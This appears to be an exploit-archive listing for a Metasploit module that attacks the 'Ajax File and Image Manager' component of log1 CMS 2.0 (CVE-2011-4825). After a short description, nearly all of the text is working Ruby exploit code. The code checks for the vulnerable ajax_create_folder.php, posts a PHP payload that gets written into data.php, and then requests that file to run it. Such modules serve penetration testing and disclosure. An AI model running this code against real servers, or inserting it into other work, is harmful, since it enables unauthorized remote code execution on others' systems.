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Log1 CMS writeInfo() PHP Code Injection

Log1 CMS writeInfo() PHP Code Injection
Posted Jun 3, 2012
Authored by EgiX, sinn3r, Adel SBM | Site metasploit.com

This Metasploit module exploits the "Ajax File and Image Manager" component that can be found in log1 CMS. In function.base.php of this component, the 'data' parameter in writeInfo() allows any malicious user to have direct control of writing data to file data.php, which results in arbitrary remote code execution.

tags | exploit, remote, arbitrary, php, code execution
advisories | CVE-2011-4825, OSVDB-76928
SHA-256 | 5f8de96e6ea32234373a0a7a5100ed196a91a7eb2302465bc03aeaa9b7bfff70

Log1 CMS writeInfo() PHP Code Injection

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})
super(update_info(info,
'Name' => "Log1 CMS writeInfo() PHP Code Injection",
'Description' => %q{
This module exploits the "Ajax File and Image Manager" component that can be
found in log1 CMS. In function.base.php of this component, the 'data' parameter
in writeInfo() allows any malicious user to have direct control of writing data
to file data.php, which results in arbitrary remote code execution.
},
'License' => MSF_LICENSE,
'Author' =>
[
'EgiX', #Found the bug in ajax_create_folder.php
'Adel SBM', #Found log1 CMS using the vulnerable ajax_create_folder.php
'sinn3r' #Metasploit
],
'References' =>
[
['CVE', '2011-4825'],
['OSVDB', '76928'],
['EDB', '18075'], #Egix's advisory
['EDB', '18151'] #Adel's
],
'Payload' =>
{
'BadChars' => "\x00"
},
'DefaultOptions' =>
{
'ExitFunction' => "none"
},
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' =>
[
['log1 CMS 2.0', {}],
],
'Privileged' => false,
'DisclosureDate' => "Apr 11 2011",
'DefaultTarget' => 0))

register_options(
[
OptString.new('TARGETURI', [true, 'The base path to log1 CMS', '/log1cms2.0/'])
], self.class)
end


def check
uri = target_uri.path
uri << '/' if uri[-1, 1] != '/'

res = send_request_raw({
'method' => 'GET',
'uri' => "#{uri}admin/libraries/ajaxfilemanager/ajax_create_folder.php"
})

if res and res.code == 200
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Safe
end
end


def exploit
uri = target_uri.path
uri << '/' if uri[-1, 1] != '/'

peer = "#{rhost}:#{rport}"
php = %Q|#{rand_text_alpha(10)}=<?php #{payload.encoded} ?>|

print_status("#{peer} - Sending PHP payload (#{php.length.to_s} bytes)")
send_request_cgi({
'method' => 'POST',
'uri' => "#{uri}admin/libraries/ajaxfilemanager/ajax_create_folder.php",
'data' => php
})

print_status("#{peer} - Requesting data.php")
send_request_raw({
'method' => 'GET',
'uri' => "#{uri}admin/libraries/ajaxfilemanager/inc/data.php"
})

handler
end
end
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